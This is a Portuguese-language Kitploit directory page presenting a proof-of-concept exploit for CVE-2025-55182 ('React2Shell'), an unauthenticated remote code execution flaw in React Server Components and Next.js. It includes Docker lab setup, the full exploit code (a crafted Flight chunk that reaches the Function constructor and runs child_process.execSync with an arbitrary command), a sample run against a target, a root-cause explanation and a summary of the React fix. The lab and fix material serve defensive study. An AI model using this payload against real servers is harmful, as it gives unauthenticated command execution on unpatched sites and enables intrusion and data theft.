Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2025-55182-poc — Prova de conceito para CVE-2025-55182 (React2Shell): RCE não autenticado em React Server Components / Next.js através de desserialização do protocolo Flight. | Kitploit
Ferramentas/GitHubGitHub/monarchfish/cve-2025-55182-poc
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebTestes de PenetraçãoDesenvolvimento de Payloads
GitHubmonarchfish/cve-2025-55182-poc

cve-2025-55182-poc

Prova de conceito para CVE-2025-55182 (React2Shell): RCE não autenticado em React Server Components / Next.js através de desserialização do protocolo Flight.

Ver Repositório
7há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Informações Básicas

CVE-2025-55182 é uma das vulnerabilidades de framework web mais abrangentes de 2025. React Server Components (RSC) já é a arquitetura dominante em aplicações Next.js modernas, e muitos projetos padrão criados com create-next-app estão dentro do escopo afetado, sendo exploráveis sem necessidade de código personalizado.

ItemConteúdo
ID CVECVE-2025-55182
PseudônimoReact2Shell
Tipo de VulnerabilidadeExecução Remota de Código Não Autenticada (Unauthenticated RCE); CWE-502 Desserialização de Dados Não Confiáveis (Deserialization of Untrusted Data) [3]
Pontuação CVSS10.0 (Critical) (CVSS 3.1, Facebook/CNA [2])
Pacotes Afetadosreact-server-dom-parcel, react-server-dom-turbopack, react-server-dom-webpack
Versões AfetadasReact 19.0.0 ~ 19.2.0 / Next.js 14.3.0-canary.77 ou superior, 15.x, 16.x
Complexidade do AtaqueMuito Baixa (única requisição HTTP POST)
Requer AutenticaçãoNão

Procedimento de Criação do POC

1. Criar App com a Sintaxe Oficial

Criar uma aplicação Next usando a versão vulnerável (16.0.6):

root@kitploit:~
pnpm create [email protected] next-app --yes

2. Criar uma Server Action de Teste

  1. Em next-app/app/, adicionar actions.ts, marcada como Server Action:

    root@kitploit:~
    "use server";
    
    export async function testAction(formData: FormData) {
      console.log("Action called with:", formData);
    }
    
  2. Na página inicial (ex.: app/page.tsx), adicionar um formulário cujo action aponte para testAction acima, contendo pelo menos um campo (ex.: hidden input).

    O Next.js gerará para este formulário um hidden input com name="$ACTION_ID_<40 caracteres hex>" no HTML; o POC extrairá esse ID da página inicial usando uma expressão regular.

3. Criar um Ambiente POC Containerizado Seguro

O next-app/Dockerfile e o docker-compose.yml dentro do projeto podem ser usados para construir e executar a aplicação Next, com redação baseada no exemplo oficial [8].

Na raiz do projeto, execute:

root@kitploit:~
docker compose up --build -d

A aplicação Next iniciada estará acessível em http://localhost:3000.

Após finalizar o POC, remova completamente o ambiente Docker:

root@kitploit:~
docker compose down -v

Etapas de Exploração

Passo 1: Obter ACTION_ID

Ao executar o POC, o script fará fetch da página inicial e extrairá o ID usando a regex \$ACTION_ID_([a-f0-9]{40})/. Exemplo:

root@kitploit:~
const ACTION_ID_REGEX = /\$ACTION_ID_([a-f0-9]{40})/

async function extractActionIdFromPage(baseUrl: string) {
  const response = await fetch(baseUrl);
  const html = await response.text();
  const match = html.match(ACTION_ID_REGEX);
  return match ? match[1] : "";
}

Passo 2: Executar a Exploração

Instale as dependências na raiz do projeto e execute:

root@kitploit:~
pnpm install
pnpm poc [BASE_URL] [EXECUTABLE]

O trecho de código principal é o seguinte:

root@kitploit:~
function escapeExecutable(executable: string) {
  return executable.replace(/\\/g, "\\\\").replace(/'/g, "\\'");
}

const escapedExecutable = escapeExecutable(executable);

const craftedChunk = {
  then: "$1:__proto__:then",
  status: "resolved_model",
  reason: -1,
  value: '{"then": "$B0"}',
  _response: {
    _prefix: `process.mainModule.require('child_process').execSync('${escapedExecutable}');`,
    _formData: {
      get: "$1:constructor:constructor",
    },
  },
};

const formData = new FormData();
formData.append("0", JSON.stringify(craftedChunk));
formData.append("1", '"$@0"');

const controller = new AbortController();
const timeoutId = setTimeout(() => controller.abort(), 3000);

try {
  const response = await fetch(baseUrl, {
    method: "POST",
    headers: { "Next-Action": actionId },
    body: formData,
    signal: controller.signal,
  });
  clearTimeout(timeoutId);
  const text = await response.text();
  console.log(`Status Code: ${response.status}`);
  console.log(`Response: ${text.slice(0, 500)}`);
} catch (e) {
  // handle timeout or error
}

Exemplo para escrever um arquivo no host alvo:

root@kitploit:~
pnpm poc http://localhost:3000 "echo 'RCE_SUCCESS' > /tmp/rce_output"

Passo 3: Observar Resultados

  • Em caso de RCE bem-sucedido, o servidor pode travar ou exceder o tempo limite após executar o comando, resultando em timeout da requisição – comportamento esperado.
  • Verifique no host alvo se o comando foi executado (ex.: verifique arquivo, processo).
  • Use docker compose exec para acessar o container, ou utilize o Docker Desktop.

Explicação do Princípio

Localização da Vulnerabilidade

A vulnerabilidade está no mecanismo de desserialização do Protocolo Flight do React (RSC Flight Deserializer). Este mecanismo é responsável por transmitir o estado dos componentes React entre servidor e cliente, mas o processo de tratamento apresenta um grave problema de limite de confiança.

O Protocolo React Flight é o formato de fio (wire format) que o React projeta para Server Components e Server Actions: serializa a árvore de componentes, parâmetros de função, etc., em um fluxo de chunks representado como JSON, e estabelece referências entre chunks usando $número, $número:nome_chave, permitindo que o servidor reconstrua valores JavaScript completos.

Cadeia de Exploração (Exploit Chain)

root@kitploit:~
Atacante envia HTTP POST malicioso
        ↓
[Fase 1] Cria um objeto de autorreferência em loop (Self-referential loop)
        ↓
[Fase 2] Engana o motor JavaScript para chamar uma função controlada pelo atacante
        ↓
[Fase 3] Injeta dados maliciosos para acionar o fluxo de inicialização do Flight
        ↓
[Fase 4] Através do Blob Handler, chama o construtor Function
        ↓
JavaScript arbitrário executado no servidor (RCE)

Servidor React e Formato de Transporte

As Server Functions do React (em Next.js, Server Actions) serializam os dados que o frontend envia ao backend através do Protocolo React Flight em "pedaços" (chunks), e os enviam como dados de formulário (form data).

As vantagens deste design incluem:

  • Transmissão em fluxo: chunks podem ser gerados e analisados sequencialmente, sem precisar esperar todo o payload, beneficiando controle de latência e memória.
  • Deduplicação e compartilhamento: um mesmo dado é serializado apenas uma vez, com referências apontando para ele em vários lugares, reduzindo duplicação e volume de transmissão.
  • Compatível com POST de formulário: chunks são enviados como campos multipart, sem necessidade de protocolo binário personalizado, facilitando uso com CDNs, proxies e depuração existentes.
  • Capaz de expressar estruturas complexas: suporta objetos aninhados e estruturas gráficas expressas por referências, atendendo aos tipos ricos necessários para RPC.

Chunks podem referenciar uns aos outros, por exemplo:

  • chunk 0: ["$1"] (referencia o chunk 1)
  • chunk 1: {"object":"fruit","name":"$2:fruitName"} (referencia a propriedade fruitName do chunk 2)
  • chunk 2: {"fruitName":"cherry"}

O servidor interpreta e obtém: { object: 'fruit', name: 'cherry' }. Ou seja, o protocolo permite usar $número:nome_chave para apontar para propriedades de outros chunks, que são combinadas para formar o objeto JavaScript final.

Causa da Vulnerabilidade

Na implementação anterior à correção, ao analisar essas referências, não havia verificação rigorosa de "se a chave realmente existe no próprio objeto", permitindo que o atacante, através de referências, lesse propriedades da cadeia de protótipos (prototype) dos objetos.

Por exemplo, é possível construir o seguinte payload:

  • chunk 0: ["$1:__proto__:constructor:constructor"]
  • chunk 1: {"x":1}

Ao analisar "__proto__ do chunk 1 → constructor → constructor", o servidor obtém o construtor Function ([Function: Function]), ou seja, o construtor nativo que cria funções a partir de strings. Isto é: através de uma cadeia de referências indevida, é possível obter Function no servidor e, em seguida, executar strings como código.

thenable e await

Após receber o formulário, o Next.js usa decodeReplyFromBusboy para reconstruir os chunks em um valor e, em seguida, faz await desse valor.

Em JavaScript, se um objeto possui um método .then, ele é considerado thenable; ao fazer await, esse .then é chamado. Portanto, se for possível fazer com que o .then do "resultado da decodificação" aponte para uma função controlada pelo atacante (por exemplo, o construtor Function mencionado), essa lógica será executada no momento do await. O próximo passo do ataque é: construir um objeto que, após decodificação, se comporte como um thenable, e definir seu .then para o ponto de chamada (call gadget) desejado.

Do "falso chunk" ao RCE

  1. Usar $@0 para referenciar o "chunk original"
    No protocolo, $@número significa "pegar o conteúdo original do N-ésimo chunk sem analisar mais". Assim, pode-se fazer o chunk 1 ser "$@0", fazendo com que o processo de análise leia a representação original do "próprio chunk 0".

  2. Definir o .then do chunk 0 como o prototype do Chunk
    Se o chunk 0 for um objeto no formato {"then": "$1:__proto__:then", ...} e o chunk 1 for "$@0", ao ser analisado, o .then do chunk 0 será definido como Chunk.prototype.then (no protocolo Flight, o próprio Chunk é thenable). Dessa forma, quando o Next.js fizer await do resultado da decodificação, ele entrará na lógica de .then do Chunk.

  3. Acionar initializeModelChunk
    Dentro de Chunk.prototype.then, se o "falso chunk" tiver status igual a "resolved_model", ele entrará em initializeModelChunk. Neste ponto, o value do chunk será analisado como JSON, e o objeto resultante passará por uma rodada de "revivificação" (revive), que trata vários prefixos especiais (por exemplo, referências blob iniciadas com $B).

  4. Ponto de chamada: _response._formData.get(_prefix + id)
    Ao processar o prefixo $B, o programa executa:
    response._formData.get(response._prefix + algum id).
    Se, no falso chunk, através de _response, for possível controlar _formData e _prefix, e ainda definir _formData.get como o construtor Function e _prefix como a string de código a ser executada, essa linha se torna:
    Function("nosso código" + "0")
    Ou seja, "criar uma função a partir de uma string". Essa função será retornada como o valor de .then daquele chunk, e será chamada via await na mesma cadeia de promessas, executando nosso código no servidor.

  5. RCE real
    Substituir "nosso código" por algo como:
    process.mainModule.require('child_process').execSync('comando do sistema a ser executado');
    permite alcançar Execução Remota de Código (RCE) no servidor.

Método de Correção (Resumo)

O React corrigiu esta vulnerabilidade no PR #35277 [9] (commit e2fd5dc [10]), com dois pontos principais:

  1. Restringir a resolução de propriedades para não seguir a cadeia de protótipos
    Na lógica de análise de referências de chunks (como em requireModule), foi alterado para primeiro verificar com hasOwnProperty se "a chave realmente existe no próprio objeto"; caso contrário, retorna undefined, não permitindo mais obter constructor etc. de __proto__. Essa alteração foi aplicada a vários módulos relacionados ao Flight (como ReactFlightClientConfigBundlerNode, ReactFlightClientConfigBundlerWebpack e configurações correspondentes Parcel/Turbopack), interrompendo a cadeia de exploração "obter construtor Function via referência → construir thenable → acionar get gadget para executar código arbitrário".

  2. Tratamento de erros em decodeReplyFromBusboy
    Na análise dos dados do formulário (resolveField, resolveFileComplete etc.), foi adicionado um try/catch; quando ocorre um erro na análise, o busboyStream.destroy(error) é chamado, garantindo que o erro seja propagado corretamente e evitando que o stream fique em estado inconsistente, reduzindo a superfície de ataque durante análises anômalas.


Links de Referência

  1. NVD — CVE-2025-55182
  2. Cálculo CVSS 3.1 (Facebook/CNA)
  3. CWE-502 — Desserialização de Dados Não Confiáveis
  4. Comunicado Oficial do React — Vulnerabilidade Crítica de Segurança em React Server Components
  5. Comunicado de Segurança do Facebook — CVE-2025-55182
  6. Catálogo de Vulnerabilidades Conhecidas e Exploradas da CISA
  7. Comunicado de Segurança do Next.js — RCE em React Server Components
  8. Exemplo Dockerfile do Next.js com Docker
  9. PR #35277 do React — Correção no FlightReplyServer com correções do ReactFlightClient
  10. Alterações específicas do PR #35277 (commit e2fd5dc)
  11. Referência do POC
Baixar ferramenta